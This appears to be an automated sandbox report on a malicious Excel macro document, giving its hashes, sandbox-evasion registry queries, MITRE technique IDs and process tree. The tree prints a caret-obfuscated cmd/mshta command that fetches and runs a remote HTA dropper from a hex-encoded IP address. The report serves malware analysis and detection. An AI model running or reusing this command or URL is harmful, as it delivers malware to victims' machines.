6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a

General

Target

6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a.xlsm
Size

49KB
MD5

cd7a6da12697f937963a4364a85aad3d
SHA1

497f9465dc7bc3e7a14d1e7b97ffa74414805eb3
SHA256

6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a
SHA512

9f0652b62aa8a3cb3bd4cb306ec4c76d5f45ff99d7ad901b97c398d569e355c3af61780a8d9a8cc89db326ce8edbb98b129d2b1d1faa3310701a093fa9d6dde8

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe1.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2112	2192	cmd.exe	67

Blocklisted process makes network request 1 IoCs

flow	pid	Process
43	2836	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2192	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 2112	2192	EXCEL.EXE	71
PID 2192 wrote to memory of 2112	2192	EXCEL.EXE	71
PID 2112 wrote to memory of 2836	2112	cmd.exe	73
PID 2112 wrote to memory of 2836	2112	cmd.exe	73

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe1.html
    3⤵
    - Blocklisted process makes network request
    PID:2836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2192-115-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp

Filesize
64KB

Download
memory/2192-116-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp

Filesize
64KB

Download
memory/2192-117-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp

Filesize
64KB

Download
memory/2192-118-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp

Filesize
64KB

Download
memory/2192-119-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp

Filesize
64KB

Download
memory/2192-128-0x00007FFEC4A30000-0x00007FFEC4A40000-memory.dmp

Filesize
64KB

Download
memory/2192-129-0x00007FFEC4A30000-0x00007FFEC4A40000-memory.dmp

Filesize
64KB

Download
memory/2192-289-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp

Filesize
64KB

Download
memory/2192-290-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp

Filesize
64KB

Download
memory/2192-291-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp

Filesize
64KB

Download
memory/2192-292-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads